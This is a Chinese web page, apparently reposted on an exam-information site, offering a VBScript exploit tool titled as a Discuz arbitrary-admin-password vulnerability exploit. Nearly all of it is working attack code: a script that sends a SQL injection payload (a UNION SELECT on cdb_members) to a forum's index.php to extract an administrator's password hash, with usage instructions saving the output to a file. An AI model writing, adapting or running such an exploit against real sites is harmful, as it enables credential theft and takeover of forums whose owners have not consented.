discuz 任意管理员密码漏洞利用工具 vbs代码
来源: 阅读:2586 次 日期:2016-07-18 15:35:38
温馨提示: 小编为您整理了“discuz 任意管理员密码漏洞利用工具 vbs代码”,方便广大网友查阅!

打算考虑写个python版的,考虑大家的机器环境还是弄了个vbs版 也利于修改

以下是search.inc.php 文件漏洞利用代码VBS版

代码如下:

Dim strUrl,strSite,strPath,strUid

showB()

Set Args = Wscript.Arguments

If Args.Count <> 3 Then

ShowU()

Else

strSite=Args(0)

strPath=Args(1)

strUid=Args(2)

End If

strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit"

Set objXML = CreateObject("Microsoft.XMLHTTP")

objXML.Open "POST",strSite & strPath & "index.php", False

objXML.SetRequestHeader "Accept", "*/*"

objXML.SetRequestHeader "Accept-Language", "zh-cn"

objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"

objXML.SetRequestHeader "User-Agent", "wap"

objXML.send(strUrl)

wscript.echo(objXML.ResponseText)

Sub showB()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("Exploit discuz6.0.1")

.Echo("Code By Safe3")

.Echo("+--------------------------=====================------------------------------+")

End with

End Sub

Sub showU()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("用法:")

.Echo(" cscript "&.ScriptName&" site path uid")

.Echo("例子:")

.Echo(" cscript "&.ScriptName&" http://www.example.com/ /forum/ 1 >result.txt")

.Echo("+--------------------------=====================------------------------------+")

.Quit

End with

End Sub

获得的密码大家自己在result.txt中查找

更多信息请查看脚本栏目
由于各方面情况的不断调整与变化, 提供的所有考试信息和咨询回复仅供参考,敬请考生以权威部门公布的正式信息和咨询为准!
关于我们 | 联系我们 | 人才招聘 | 网站声明 | 网站帮助 | 非正式的简要咨询 | 简要咨询须知 | 加入群交流 | 手机站点 | 投诉建议
工业和信息化部备案号:滇ICP备2023014141号-1 云南省教育厅备案号:云教ICP备0901021 滇公网安备53010202001879号 人力资源服务许可证:(云)人服证字(2023)第0102001523号
云南网警备案专用图标
联系电话:0871-65317125(9:00—18:00) 获取招聘考试信息及咨询关注公众号:
咨询QQ:526150442(9:00—18:00)版权所有:
云南网警报警专用图标
Baidu
map